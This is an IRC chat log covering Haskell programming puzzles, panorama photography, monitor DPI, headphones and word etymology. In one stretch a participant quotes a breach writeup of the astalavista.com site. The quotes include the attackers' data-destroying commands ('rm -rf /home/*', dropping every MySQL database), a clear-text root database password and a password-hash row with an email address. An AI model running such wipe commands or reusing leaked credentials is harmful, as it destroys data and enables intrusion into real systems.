21:04:56 <ehird> oerjan: ah, I don't think it should be that
21:05:00 <ehird> oerjan: I think it should be detecting your opponent
21:05:03 <ehird> of course, that's much harder
21:05:06 <ehird> probably impossible
21:05:07 <pikhq> Cron, init, and X11 are generally considered part of GNU. :p
21:05:12 <oerjan> ehird: er that's just the start
21:05:38 <ehird> oerjan: i meant it should be runM warrior1 warrior2
21:06:09 <ehird> oerjan: say the whole rules
21:06:42 <oerjan> (2) then for qualifying m1 and m2, runM m1 m2 and runM m2 m1 are both evaluated
21:07:12 <oerjan> if one returns False but not the other, that one wins
21:07:36 <oerjan> if one of them doesn't return, there are a number of options i guess
21:07:49 <ehird> oerjan: unfortunately the practical way is real-time-limited
21:08:00 <oerjan> if they both do the same thing, a tie naturally
21:08:25 <oerjan> ehird: well yeah but that might not be that bad
21:08:37 <ehird> if the server gets loaded you could lose
21:08:40 <ehird> as opposed to winning normally
21:08:46 <ehird> yeah yeah cpu time w/e
21:08:51 <oerjan> of course one could respond with an undefined for efficiency, if it wants the other one to fail that way
21:09:52 <oerjan> well to win either you must return False or your opponent must return True, so if both loop it's not a problem
21:10:13 <AnMaster> ehird, these mirror functions? What are they
21:10:22 <ehird> AnMaster: the chance of you getting it unless you know haskell is about 0
21:10:30 <ehird> but newtype Mirror = Mirror (Mirror -> Bool).
21:10:44 <AnMaster> ehird, is that "but" part of the code?
21:10:50 <ais523> what's this about? monad jousting?
21:11:04 <oerjan> ais523: well it's only the -> monad at worst
21:11:06 <ehird> ais523: no, Haskell self-detectors and now applying that as Haskell joust
21:11:15 <ais523> I think I had a similar idea here earlier
21:11:30 <ehird> i think self-detectors could turn into a very interesting subject
21:11:38 <ehird> you can do them in the lambda calculus, even
21:11:44 <ais523> but making it self-detectors instead of other-detectors is clever
21:11:48 <oerjan> ehird: also if no looping happens, there is a simple way to beat any finite list of opponents
21:11:54 <AnMaster> ehird, Some sort of recursive type? That is my best guess for that code.
21:12:09 <ehird> AnMaster: Beyond that, first read a bunch of CS literature, then try again.
21:12:12 <AnMaster> ehird, and it can be turned into bool?
21:12:21 <ehird> -> is a function. That's all I'll say.
21:12:25 <ehird> oerjan: btw Peter Landin died yesterday
21:12:39 <ehird> if you didn't know
21:12:49 <oerjan> ehird: Mirror (\(Mirror f) -> not $ any f opponent_list)
21:12:51 <ehird> (of the next 700 programming languages, ISWIM, J operator)
21:13:01 <oerjan> ehird: not exactly a close friend, there
21:13:03 <ehird> oerjan: opponent_list is of course not available
21:13:18 * AnMaster wonders if you would write a haskell poem
21:13:18 <ehird> oerjan: also, sure, but you wouldn't have Haskell without him :-)
21:13:23 <ehird> AnMaster: haskell code is poetry
21:13:24 <oerjan> ehird: i mean if there was a hill with disclosed opponents
21:13:28 <ehird> ((unlike wordpress) ← you won't get this)
21:13:35 <ehird> oerjan: well hrmph
21:13:55 <AnMaster> ehird, I mean as in the normal form of code poetry. Something that is both an English poem and a computer program
21:13:56 <ehird> oerjan: J is the predecessor to call/cc, ISWIM inspired all Miranda-family languages
21:14:01 <oerjan> ehird: however there may be ways to get around it with looping and cooperation
21:14:19 <ehird> oerjan: and The Next 700 Programming Languages was a hugely influential escape from the FORTRAN monopoly
21:14:34 <oerjan> basically if you have warriors cooperating by both looping on the other, the list strategy fails
21:14:38 <AnMaster> <ehird> ((unlike wordpress) ← you won't get this) <-- was that directed to me? If so I know wordpress is awful.
21:14:50 <ehird> AnMaster: it was directed to anyone; and you didn't get it
21:15:11 <ehird> the wp site has always had "CODE IS POETRY" as a footer
21:15:42 <AnMaster> ehird, ah I didn't remember that footer. I meant that the wordpress software in general is a piece of shit.
21:15:51 <ehird> AnMaster: you're so observant
21:15:59 <ehird> what would we ever do without you pointing things out? :)
21:18:33 <pikhq> AnMaster: They exist in Perl.
21:19:23 <AnMaster> wordpress footers? anyone? everyone? code poetry?
21:20:03 <ehird> pikhq: bwahaha, you confusor!
21:20:33 <AnMaster> <ehird> what would we ever do without you pointing things out? :) <-- you would have to use C++ references instead. Which would be horrible.
21:20:52 <ehird> AnMaster: that joke was funny 0.5 times btw
21:20:54 -!- tombom_ has joined.
21:22:26 <fizzie> Huginized together another panoramey picture out of the Circus Maximus grasslands from the Rome trip. That thing is really pretty good at seam-removal, at least when I scale the output to more sensible size (7914x1939 -> 4898x850) there's not very much brokenness: http://zem.fi/~fis/panorama-1.jpg
21:23:25 <AnMaster> fizzie, I assume you used a tripod?
21:23:40 <ehird> AnMaster: er, what kind of question is that
21:23:53 <fizzie> AnMaster: No, just random off-hand snapping; 13 source pictures.
21:24:19 <ehird> fizzie: pretty photo
21:24:42 <fizzie> Yes, really. mooz has a really funky tripod attachment for "real" panorama photographery, something like that would sure make the software's job easier.
21:24:54 <AnMaster> fizzie, how many degrees does it cover?
21:25:29 <ehird> with a 360 deg panorama you can do 3d right?
21:25:39 <fizzie> I think the program's guess was 157, but I'm not really sure how it arrived at that number. It should make some sort of sense, since it knows about the lens and therefore the fov of a single image.
21:25:55 <AnMaster> ehird, Hm Does apple still have "quicktime vr"? I remember it from OS 9 and such
21:26:03 <ehird> AnMaster: well not for panoramas
21:26:07 <ehird> just 3d object stuff
21:26:13 <ehird> like, the ipod site used it i think
21:26:15 <AnMaster> ehird, panorams and 3d objects. iirc it did both
21:26:16 <ehird> so you could rotate it and shit
21:26:52 -!- tombom has quit (Nick collision from services.).
21:26:53 -!- tombom_ has changed nick to tombom.
21:26:53 <AnMaster> fizzie, I think that any tripod capable of keeping the camera roughly level would be an improvement over free-hand
21:27:00 <AnMaster> though it seems it managed well anyway
21:27:12 <ehird> astalavista got hacked
21:27:54 <fizzie> Well, I had to crop quite a bit since the direction was a bit wonky; the program itself twiddles with the orientation, and there's a after-preliminary-stitching thing where you can correct a swiggly horizon.
21:28:21 <tombom> i read that as "altavista" and was shocked it still existed
21:28:39 <ais523> but they tried to copy Google, rather than sticking with their own strenghts
21:28:51 <ais523> so it's useless nowadays, Google is better at being Google than they are
21:28:59 <ehird> they had no strengths
21:29:02 <AnMaster> fizzie, hm. a further improvement would a "vattenpass" (what ever that is in English. One of those things filled with water and an air bubble that you use to figure out if something is level)
21:29:06 <ehird> they were just better than google for a while
21:29:08 <tombom> yeah that was what i thought
21:29:14 <ehird> btw altavista are mainly known for babelfish although now yahoo acquired that
21:29:16 <AnMaster> mounted on the camera mounting of the tripod
21:29:23 <ehird> also google translate it better
21:30:34 <AnMaster> ehird, link to this news about it being hacked
21:30:41 <AnMaster> I have no idea what the website should look like
21:30:48 <ehird> AnMaster: ehm it's just a cracker site
21:30:56 <ehird> serials, warez, general reverse engineering
21:31:00 <ehird> but http://news.ycombinator.com/item?id=642671; via reddit
21:31:05 <ehird> by some antisec guys it seems
21:31:17 <ehird> (anti security industry guys; they hate open exploit info and shit — stark raving mad)
21:32:08 <AnMaster> hm their website is in german?
21:32:55 <ehird> ok, it is astalavista.com
21:33:10 <ehird> AnMaster: astalavista.com has been redirected to a different astalavista
21:33:13 <ehird> post-hack, it seems
21:33:23 <ehird> dude, are you listening to me?
21:33:39 <ehird> I'M NOT PSYCHIC GODDAMMIT
21:33:55 <AnMaster> ehird, you read reddit. Isn't that basically the same thing?
21:34:09 <AnMaster> oerjan, that was an even better reply!
21:34:28 <oerjan> i used my psycho powers
21:34:51 <ehird> astalavista.com != astalavista.box.sk
21:34:54 <ehird> the latter is the warez site
21:35:01 <ehird> the former stole their name (ok, so the name is stolen already, but...)
21:35:15 <ehird> where did i say that
21:35:19 <AnMaster> just someone confused about domain name?
21:35:27 <ehird> ...................
21:35:44 <AnMaster> ok. So someone who wasn't the warez group got hacked?
21:36:04 <AnMaster> ehird, 1) did the .com or .sk get hacked
21:36:19 <ehird> la la la i've given you a link use it i am not your web browser
21:36:58 <oerjan> ehird: the link hacked his brain
21:37:08 <ehird> oerjan: i see no change
21:37:52 <oerjan> ehird: his brain's antivirus system refuses to let it ingest the site
21:37:55 -!- Slereah_ has quit (Read error: 60 (Operation timed out)).
21:38:08 <ehird> oerjan: norton, I take it
21:39:02 <oerjan> when the evil AI singularity happens, AnMaster will be immune to its mind-alteration. he'll still be confused, though.
21:39:28 <AnMaster> oerjan, I read the link and it isn't clear to me if the .com one got hacked or the .sk one did
21:39:31 <ehird> oerjan: sweet, that means he'll stay mortal
21:39:34 <AnMaster> and if it was the .com one, what is it then
21:39:40 <ehird> if we're evil we could even off him!
21:39:42 <ehird> AnMaster: READ THE COMMENTS
21:39:43 <oerjan> ehird: _evil_ AI, i said
21:39:43 <AnMaster> since clearly it means .sk is the warez one
21:39:50 <ehird> oerjan: 21:39 ehird: if we're evil we could even off him!
21:39:56 <AnMaster> ehird, I read about 2/3rd of them
21:39:59 <ehird> AnMaster: no, .com is an exploit site too
21:40:02 <ehird> and evidently you didn't
21:40:13 <ehird> try reading slowly, it might enter your brain
21:40:14 <oerjan> ehird: it won't be us any more. our brains will have been absorbed and reprogrammed.
21:40:23 <ehird> oerjan: that's ok, i can deal with that compromise
21:41:14 -!- Slereah has joined.
21:41:59 <oerjan> ehird: yeah it's when it decides octopi are more worthy and starts feeding our brains to them that we want to complain
21:42:36 <AnMaster> octopi? Is that really the correct plural of octopus?
21:43:24 <ehird> Slereah: kitty cat
21:45:11 <oerjan> "There are three forms of the plural of octopus; namely, octopuses, octopi, and octopodes. Currently, octopuses is the most common form in the US as well as the UK; octopodes is rare, and octopi is often objectionable."
21:46:47 <ehird> LOL, astalavista stored user passwords in plain text
21:47:43 <ehird> sh-3.2# cat .bash_history
21:47:43 <ehird> /usr/bin/mysqladmin -u root password PoliuJhytg67
21:47:47 <ehird> just keeps getting better and better
21:48:00 <oerjan> a ... cracker ... site ... stores user passwords in plain text????
21:48:10 <ehird> oerjan: they're posers
21:48:17 <ehird> not the original astalavista
21:48:29 <ehird> oerjan: also they charge $6.66 (edgy) a month for that forum
21:48:38 <ehird> devil dollars to have your password in plaintext ahahaha
21:48:54 <oerjan> well it _is_ rather evil....
21:49:10 <ehird> dayum, the thing after mysql> select iss_description from eventum_issue where iss_id = 43; is sick
21:49:14 <ehird> moneygrabbing bitches
21:49:29 <ehird> | Website guidance | Virtual Girl which guides you trought the website.
21:49:47 <ehird> [list of backups on their external server]
21:50:03 <ehird> this guy's vicious
21:50:12 <ehird> sh-3.2# rm -rf /home/*
21:50:27 <AnMaster> "| system | 0defe9e458e745625fffbc215d7801c5 | info@comvation.com |"
21:50:30 <ehird> mysql> drop database astanet_membersystem;
21:50:34 <ehird> (repeat for every db in the system)
21:50:36 <AnMaster> that seems like encrypted password?
21:50:49 <ehird> it's their forum site that does it plaintext
21:51:00 <ehird> that was fun to read
21:51:09 <ehird> poke around, oh shit they're so stupid, boom, all gone
21:52:08 <ehird> "supposed to not be a litespeed vuln its actually an ntp daemon vuln just changed the name to confuse people."
21:53:42 -!- M0ny has quit ("Read error: 182 (Connection reset by beer)").
21:56:23 <AnMaster> ehird, ah yes that ntp issue recently... ? Mhm
21:56:31 <AnMaster> ehird, where is that quote from btw
22:00:47 -!- jix has quit ("Lost terminal").
22:02:36 <ehird> "6 monitor setup = 4960 x 2800"
22:02:38 <ehird> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
22:02:44 <ehird> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfkhdkjfhsgkjhgkdsfgsfdghdsfghsfgdsfg
22:03:22 <ehird> (same person with the Zalman TNN 500AF totally passive heatpipe computer)
22:03:29 <ehird> AnMaster: w/ comp: http://silentpcreview.com/forums/viewtopic.php?p=467672&highlight=#467672
22:03:33 <ehird> AnMaster: w/ comp: http://silentpcreview.com/forums/viewtopic.php?p=467672&highlight=
22:03:38 <ehird> thread for displays: http://silentpcreview.com/forums/viewtopic.php?t=54003
22:04:09 <ehird> the problem with xinerama-type setups
22:04:12 <ehird> is the fucking black lines
22:04:23 <ehird> cut off edges of some monitors and place them over the lines on the other one
22:04:35 <ehird> but I could never use xinerama as-is
22:05:51 * ehird uses mathematica to search for exactly-96dpi display sizes ^_^
22:07:07 <ehird> ais523: how can I assign a variable in a mathematica function
22:07:16 <ehird> foo[bar_] := x=bar;x;
22:07:28 <ais523> ehird: I suspect it's possible, but I never managed how
22:07:37 <ais523> you could use reap/sow and do the assignments at the end, I suppose
22:07:38 <ehird> ais523: so uh, is there anything like "let"?
22:07:45 <AnMaster> ehird, how do you mean black lines?
22:07:59 <ehird> AnMaster: completely ruins the experience
22:08:09 <AnMaster> ehird, depends on how you use them
22:08:14 <ehird> AnMaster: xinerama-style
22:08:21 <ehird> multiple-root-windows is fine
22:08:24 <AnMaster> I'm* not 100% sure what you mean
22:08:30 <AnMaster> I and O are next to each other
22:08:31 <ehird> look at the pictures i linked to
22:08:42 <AnMaster> ehird, yes, displaying one picture across isn't nice
22:08:49 <ehird> AnMaster: that's what xinerama is for...
22:08:55 <AnMaster> but what I mean is, you can use one root window and then place one window on each or such
22:09:09 <ehird> AnMaster: that's not xinerama
22:09:18 <AnMaster> ehird, correct. It was "nvidia TwinView"
22:09:21 <ehird> but it's = to using separate root windows
22:09:23 <AnMaster> which ends up as the same thing
22:09:26 <ehird> i was complaining about xinerama
22:09:27 <fizzie> Xinerama is also for sensible window-migration.
22:09:44 <AnMaster> how would you move the mouse between multiple root windows
22:09:49 <ehird> if i could take one side off one of the monitors and overlap it with one of the others' borders
22:09:57 <ehird> AnMaster: err, you can do it
22:10:18 <AnMaster> much easier if you can just drag things between the monitors
22:10:20 <ehird> AnMaster: use your wm to add an action to swoop-to-side
22:10:30 <AnMaster> ehird, was using KDE at that point
22:10:44 <AnMaster> ehird, and as I said, nvidia twin-view setup
22:12:12 <ais523> ehird: sort of like throwing exceptions
22:12:19 <ais523> except the program continues on afterwards
22:12:24 <ais523> so you just throw data
22:12:29 <ais523> and pick it up later when control flow reaches the reap
22:12:59 <ais523> AnMaster: no, Mathematica
22:13:07 <ais523> you don't know how insulted Wolfram would be if he heard that comparison
22:13:07 <AnMaster> I mean, sow/reap for throw/catch... very intercal-ish
22:15:42 <ehird> you're so EDGY, AnMaster.
22:15:58 <ehird> News flash! The exact 96dpi size for a 1920x1200 monitor is 23.585"
22:16:01 <AnMaster> hm. It is odd. But when I look at "consumer" headphones there seems to be no information about frequency range, ambient noise reduction and so on...
22:16:04 <oerjan> ehird the edge detector
22:16:08 <ehird> (Or -23.585" says Mathematica)
22:16:15 <ehird> (If you're into that sort of negative space stuff)
22:16:22 <ehird> AnMaster: erm, guess way
22:16:29 <ehird> Because consumers don't give a shit about that stuff.
22:16:34 <AnMaster> ehird, because the values would be sucky?
22:16:45 <ehird> Maybe. But because consumers don't give a shit about that stuff.
22:17:09 <AnMaster> ehird, they don't care if the sound quality is good?
22:17:17 <ehird> You're a riot, AnMaster
22:17:40 <AnMaster> ehird, or they don't care about the exact numbers saying how good it is? Like noise level and such
22:17:50 <ehird> But the values probably suck too.
22:17:57 <ehird> AnMaster: Most people can't distinguish good/bad audio.
22:18:00 <AnMaster> ehird, possibly due to not knowing what the values would mean?
22:18:05 <ehird> So price & comfort is the priority.
22:18:10 <tetha> how many consumers actually know what a frequency range is, and how many do know that a *good* frequency range is? :)
22:18:12 <ais523> AnMaster: just due to not hearing it
22:18:29 <AnMaster> ehird, surely most people can distinguish good and bad audio. But probably not good/better.
22:18:42 <ehird> It occurs to me that AnMaster will be among the crowd claiming that he can distinguish a 128kbps MP3 from the original source (using the latest LAME release)
22:18:53 <ehird> (aka the crowd of 99% liars)
22:19:02 <ehird> (or rather, not liars; just self-deceptionists)
22:19:04 <AnMaster> <ehird> It occurs to me that AnMaster will be among the crowd claiming that he can distinguish a 128kbps MP3 from the original source (using the latest LAME release) <-- no probably not
22:19:09 <ehird> AnMaster: Okay, then I was wrong.
22:19:25 <ehird> Unless you know very, very odd people.
22:19:26 <ehird> AnMaster: Blind tests are not enough.
22:19:29 <ehird> Was it a double-blind ABX test?
22:19:38 <ehird> That's the only acceptable test
22:19:41 <ehird> for audio purposes
22:20:21 <tetha> most music I listen to doesnt even have enough tiny little tone differences for quality to matter that much, heh
22:20:25 <ehird> AnMaster: Was it _specifically_ ABX?
22:20:29 <AnMaster> ehird, oh and he works as a musician
22:20:50 <AnMaster> ehird, I don't know what you imply with that "_specifically_" there.
22:20:58 <ehird> http://wiki.hydrogenaudio.org/index.php?title=ABX
22:21:59 <AnMaster> I know what ABX is.. But I don't know what you mean with "_specifically_" there
22:22:11 <ehird> AnMaster: Was it an ABX double-blind test or some other sort.
22:22:28 <ehird> Also, what version of LAME was used? What command-line options?
22:22:32 <ehird> What equipment was used?
22:22:36 <ehird> AnMaster: was it ABX double blind
22:22:38 <ehird> or another double blind
22:22:53 <AnMaster> ehird, as for command line options and version I don't remember, it was about a year ago with last release at that point.
22:23:08 <ehird> Welp, delightfully unscientific results there. Filed under unreliable.
22:23:27 <AnMaster> ehird, and yes it was ABX double blind I said. 5 times or so by now I think?
22:23:34 * ehird grumbles that all 23.5" monitors are 1920x1080 instead of 1920x1200
22:23:39 <ehird> AnMaster: You said "double blind".
22:24:13 <ehird> Yes, I was confirming.
22:24:42 <ehird> By the way, if anyone cares:
22:24:47 <ehird> dpi[w_, h_, diag_] := w/Sqrt[(diag^2)/(1 + ((h/w)^2))]
22:24:47 <ehird> N[Solve[dpi[1920, 1200, h] == 96, h]]
22:25:56 <tetha> I like how h denotes the diagonal in the second line :)
22:27:48 <AnMaster> ehird, anyway I *can* hear the difference between high quality headphones and mid-range consumer ones. Probably not between high end consumer ones and professional ones. But I'd still go for the pro ones because they tend to last longer.
22:28:14 <ehird> so I guess 23.6 is the ideal diag
22:28:27 <ehird> AnMaster: most people won't spend £100+ on headphones
22:28:33 <ehird> also, because monitor makers chop off after one digit.
22:28:38 <AnMaster> ehird, I have no idea how much that is in SEK
22:28:52 <ehird> http://www.newegg.com/Product/ProductList.aspx?Submit=ENE&N=2010190020%201309846872&name=23.6%22
22:29:03 <ehird> well i say all, I mean "both"
22:29:04 <tetha> even though expensive headphones are worth it
22:29:30 <ehird> SAMSUNG 2343BWX High Glossy Black 23" 5ms 16:9 Widescreen LCD Monitor - Retail
22:29:30 <ehird> Maximum Resolution: 2048 x 1152
22:29:31 <ehird> Recommended Resolution: 2048 x 1152
22:29:41 <AnMaster> ehird, but I had consumer high end headphones that broke after a few years, and were constructed so it was impossible to repair basically. After that I got pro ones that were about 500 SEK more expensive. Same audio quality, but much more rugged, and easy to repair.
22:29:46 <ehird> that's 102dpi, nice.
22:29:56 <AnMaster> ehird, result: I will not have to spend as much as often, thus in the long run a lower cost
22:30:27 <AnMaster> higher initial investment yes, but in the long run, say 5-10 years, a lower total cost for headphones
22:31:02 <ehird> yeah uh, consumers don't care.
22:31:15 <ehird> they have N money atm, they want some headphones, so they'll buy headphones whose cost is <N
22:31:41 <tetha> usually even whose cost is minimal, well, because ... the current cost is minimal
22:31:48 <AnMaster> ehird, ok I happened to have a large enough N due to being careful with money in general. Buying stuff that lasts
22:31:48 <pikhq> Most consumers see the initial cost, not long-term cost.
22:31:49 <GregorR> And I want some headphones.
22:31:55 <GregorR> So I need some headphones with cost <$10,000
22:31:58 <ehird> GregorR: given reasonable definition of with
22:32:00 <GregorR> Looks like I'll be buying Bose.
22:32:15 <ehird> AnMaster: list your sources of income
22:32:18 <AnMaster> My desk is from the 30s, bought for ~400 SEK, then spent maybe ~300 SEK to renovate it
22:32:19 <pikhq> So, they prefer to get the cheapest headphones possible, even if they end up purchasing them every month.
22:32:37 <AnMaster> (this was over 10 years ago, so don't remember exact consts, since my parents paid it)
22:32:43 <ehird> 22:32 AnMaster: (this was over 10 years ago, so don't remember exact consts, since my parents paid it)
22:32:57 <ehird> Seemingly Endless Supply Of Money detected.
22:33:03 <AnMaster> ehird, but I have been doing the same myself more recently
22:33:06 <ehird> You are disqualified. :)
22:34:13 <AnMaster> ehird, that desk I got when I was about 8 years old or so. It has lasted ever since. And before it lasted for years too
22:34:26 <ehird> i'd hate a 30s desk
22:34:31 <EgoBot> http://google.com/search?q=400+sek+in+usd
22:34:40 <ehird> since it will inevitably have a cluttered, arcane design
22:34:50 <AnMaster> GregorR, too lazy to type it in browser, so you have to click?
22:35:00 <GregorR> Must not have Wal-Mart in Sweden :P
22:35:10 <ehird> GregorR: AnMaster's far too high-class for that.
22:35:18 <AnMaster> ehird, Hm. Simple design, You could describe it in a few geometric forms.
22:35:27 <AnMaster> <GregorR> Must not have Wal-Mart in Sweden :P <-- indeed there is no Wal-Mart here
22:35:36 <ehird> AnMaster: is it made out of olde-looking wood?
22:35:54 <AnMaster> ehird, you mean a drak wood type?
22:36:07 <AnMaster> but I'm not good at the English names for it
22:36:12 <ehird> AnMaster: i mean anything that isn't painted with some colour that doesn't look exactly like wood
22:36:14 <GregorR> AnMaster has a sticky 'r' finger.
22:36:33 <AnMaster> ehird, it is wood look. As in just some glossy transparent thing on to make it last
22:36:43 <AnMaster> not sure what you call "fernissa" in English
22:36:43 <ehird> AnMaster: distracting :)
22:37:02 <ehird> yes, though it has to be said I have a tendency to be distractec.
22:37:26 <AnMaster> ehird, so do I. Which is why I have a single coloured desktop bg
22:37:36 <GregorR> AnMaster: I assume you're talking about varnish. Sounds like a cognate.
22:38:01 <AnMaster> varnish I heard before I remember now
22:38:15 <GregorR> Ooooh, "distractec". That would be a great terrible name for a software/technology company.
22:38:48 <tetha> such a company should produce useless gadgets
22:38:50 <GregorR> AnMaster: "Cognate" is a word for words which are nearly the same in two languages due to both words being derived from the same root language.
22:39:22 <AnMaster> GregorR, hm. varnish != fernissa. In any way whatsoever.
22:39:34 <GregorR> Are you kidding me? It's practically identical.
22:39:36 <AnMaster> Assuming varnish is pronounced similar to how it is spelled
22:39:57 <GregorR> Change a voiced consonant for an unvoiced one, swap a vowel and you're done.
22:40:01 <AnMaster> GregorR, depends on if you use English of Swedish rules for pronouncing
22:40:46 <AnMaster> GregorR, and even spelling-wise they are more different than that
22:41:06 <ehird> anyone have a pixel pitch to dpi thang/
22:41:09 <GregorR> Spelling is the /worst/ way to measure cognates.
22:41:10 <AnMaster> but "fernissa" sounds like it come from German
22:41:23 <GregorR> AnMaster: How is "fernissa" pronounced?
22:41:47 <GregorR> AnMaster: Rough description in IPA or English-like?
22:41:54 <AnMaster> wikipedia says it comes from French not German.. Hm
22:41:55 <GregorR> (Well, IPA would be an exact description :P )
22:42:39 * GregorR just looks up Swedish on Wikipedia to get pronunciation info X-P
22:42:55 <GregorR> (I assume Swedish is substantially more phonetic than English)
22:43:20 <AnMaster> is that "sounds like spelled"?
22:43:51 <AnMaster> well. to a certain degree. But not at all like you would expect in English
22:44:05 <AnMaster> and there are plenty of exceptions
22:44:34 <GregorR> No, it means something more like "the mapping from spelling to pronunciation is consistent and well defined"
22:44:56 <AnMaster> GregorR, not really. Example: hade is pronounced like "hadde" But spelled "hade".
22:44:59 <oerjan> "1341, from O.Fr. vernis "varnish" (12c.), from M.L. vernix "odorous resin," perhaps from Late Gk. verenike, from Gk. Berenike, name of an ancient city in Libya (modern Bengasi) credited with the first use of varnishes."
22:45:01 <AnMaster> and there are lots more like that
22:45:11 <AnMaster> oerjan, so it comes from that then
22:45:23 <AnMaster> but really it sounds nothing like the English "varnish"
22:45:35 <GregorR> Oh of course it does, you're splitting hairs X_X
22:45:42 <oerjan> i haven't looked up fernissa yet
22:45:47 <ehird> fernissa is exactly like varnish
22:45:51 <ehird> unless you're on crack
22:45:51 <oerjan> (ferniss in norwegian)
22:46:03 <oerjan> ehird: there do exist false cognates too
22:46:04 <AnMaster> isn't the "a" in "varnish" long?
22:46:18 <AnMaster> oerjan, ah yes, like "karrot" and "carrot" you mean?
22:46:37 <oerjan> AnMaster: you seem not to understand phonetic change...
22:46:37 <AnMaster> (no karrot is not the same as carrot at all...)
22:46:46 <GregorR> AnMaster: It's like the 'a' in 'farming', oh mighty hair-splitter.
22:47:08 <AnMaster> GregorR, the only common bit seems to be "nis"
22:47:52 <AnMaster> GregorR, and what the hell is a "hair splitter"
22:48:21 -!- Slereah_ has joined.
22:48:56 <oerjan> AnMaster: for one thing, cognates don't need to be similar at all, they just need to be inherited from the same word in an ancestor language
22:49:27 <oerjan> some can be completely obscured by phonetic changes that you need careful linguistics to recognize
22:49:36 <AnMaster> oerjan, so what are "false cognates"?
22:49:42 <oerjan> also, cognate /= borrowing
22:49:51 <pikhq> Words that sound like they are cognate, but aren't.
22:50:11 <GregorR> 'f' and 'v' vary only in voice, then there's a vowel, then the sounds 'r', 'n' and probably a similar 'i' but certainly a vowel, then a voiceless fricative that may be alveolar or postalveolar. Swedish then has another vowel which English doesn't. Why look, they vary in only tiny ways.
22:50:13 <AnMaster> and I don't know any other meaning of /=
22:50:15 <oerjan> well for example the latin "habere" means the same thing as english "have", but they are _not_ cognates
22:50:22 <tetha> AnMaster: unequal (haskell)
22:50:39 <AnMaster> tetha, ah =/= (Erlang) or != (C)
22:50:54 <ehird> /= is just ascii mathematics
22:51:09 <GregorR> Or C division-and-assignment X-P
22:51:13 <oerjan> because english "h" and latin "h" do not come from the same sounds in indo-european
22:51:21 <ehird> GregorR: AnMaster thought it really was that...
22:51:24 -!- tombom has quit ("Peace and Protection 4.22.2").
22:51:27 <ehird> 22:49 AnMaster: oerjan, /= Divided by?
22:51:27 <ehird> 22:50 AnMaster: is this the C /=
22:51:29 <ehird> 22:50 AnMaster: if so it doesn't make sense
22:51:30 <AnMaster> ehird, there is an unicode symbol for it
22:51:35 <oerjan> english/germanic "h" frequently corresponds to latin "c", though
22:51:38 <ehird> AnMaster: fuck that
22:51:54 <oerjan> so latin "capere" may in fact be a cognate of "have"
22:51:55 <AnMaster> ehird, well, it would have reduced ambiguity
22:52:20 <tetha> I somehow have to think of some C++-proposal that argued to limit all variable names to a single character because we now have UTF and thus, we can use little symbols for everything
22:52:25 <AnMaster> oerjan, Is the Swedish "ha" related to the English "have"? I would assume so
22:52:27 <oerjan> O.E. habban "to own, possess," from P.Gmc. *khaf- (cf. O.N. hafa, O.S. hebbjan, O.Fris. habba, Ger. haben, Goth. haban "to have"), from PIE *kap- "to grasp" (see capable). Not related to L. habere, despite similarity in form and sense; the L. cognate is capere "seize." "
22:52:36 <oerjan> AnMaster: yes, those are both from germanic
22:52:50 <AnMaster> oerjan, where is that from? Some online dict?
22:52:59 <AnMaster> I assume you didn't have time to type all that in
22:53:02 <oerjan> http://www.etymonline.com/index.php?search=have&searchmode=none
22:53:34 <Asztal> tetha: http://www.research.att.com/~bs/whitespace98.pdf? ♥
22:53:49 <oerjan> while french "avoir" _is_ from the latin "habere"
22:54:09 <oerjan> since french is a romance language
22:54:19 <AnMaster> Asztal, ah that one. Remember reading it before
22:54:47 <AnMaster> Asztal, wasn't it some 1 April joke or such?
22:55:03 <ehird> it was totally serious.
22:55:13 <ehird> your sense of humour sucks tbh, you can't even detect jokes from non-jokes
22:55:19 <ehird> everyone knows that paper was serious
22:55:27 <ehird> why wouldn't it be? I don't get it
22:56:53 <AnMaster> see the "overloading missing white-space" section.
22:57:18 <AnMaster> even a C++ programmer couldn't be that mad
22:57:21 <tetha> theres an entire language about the semantics of whitespace
22:57:27 <ehird> AnMaster: you're stupid
22:57:32 <ehird> it makes perfect sense
22:57:36 <AnMaster> ehird, so when was it published
22:58:05 <ehird> april 1; are you so immature that everything on that date must be a joke?
22:58:12 <tetha> and also: once you looked enough into templates and boost, you will never ever think 'no c++-programmer is mad enough to do this' again
22:58:34 -!- inurinternet has quit (No route to host).
22:58:58 <ehird> AnMaster: wtf is your problem
22:58:59 <AnMaster> tetha, I carefully avoided boost
22:59:06 <oerjan> AnMaster: http://runeberg.org/svetym/0222.html
22:59:29 -!- Slereah has quit (Success).
22:59:53 <AnMaster> ehird, I don't think this "anti-joke" you are trying is fun at all.
23:00:13 <oerjan> AnMaster: so they are the same originally, although not strictly cognates, since there is a lot of borrowing involved
23:00:15 <ehird> AnMaster: wow, you're really immature— how ironic. so hypocrite, is that how you dismiss people?
23:00:16 <AnMaster> oerjan, hm I wonder about "vernisage"?.. Hrrm...
23:01:02 <oerjan> http://runeberg.org/svetym/1200.html
23:01:55 <AnMaster> ehird, There is one major difference: When you aim a joke at one person, or a whole group. If you aim it at a group it is reasonable to take the "average humour" of that group (I don't know how to describe this concept in English really), when you aim it at a single person it might be reasonable to consider what that person thinks is fun.
23:02:08 <AnMaster> of course you can't be perfect always
23:02:08 <ehird> AnMaster: erm do you want to translate that to english?
23:02:12 <ehird> i don't get what you're on about
23:02:24 <AnMaster> ehird, then forget it. I don't plan to waste time on you
23:02:36 * oerjan swats both AnMaster and ehird -----###
23:02:40 <ehird> ais523: could you tell me how I pissed AnMaster off?
23:04:59 <oerjan> AnMaster: hm apparently cognates can include borrowings as well
23:09:07 -!- fungebob has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]").
23:18:14 <fizzie> Well, since I adddvertized the first one too: http://zem.fi/~fis/panorama-3.jpg (That's the "view" from the hotel room balcony.)
23:18:33 <ehird> adddddddddddddddddddddddddddddddddddddddddddddddvertized
23:22:27 -!- p5[sleep] has quit ("Leaving...").
23:26:22 <GregorR> My dictionary doesn't think that "advertized" is spelled with a 'z', even in American English :P
23:27:01 <fizzie> There's more piZZaZZ if you zpell it with an ezzz.
23:33:04 <GregorR> This is stuuuuuuuuuuuuuuuuupid.
23:33:14 <GregorR> But then, sooooooooooo's your faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeces.
23:36:44 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server").
23:44:23 <GregorR> I'm looking for a good list of adjectives.
23:44:29 <GregorR> Every one I find doesn't have "ridiculous".
23:48:23 <oerjan> they don't have "gullible" either
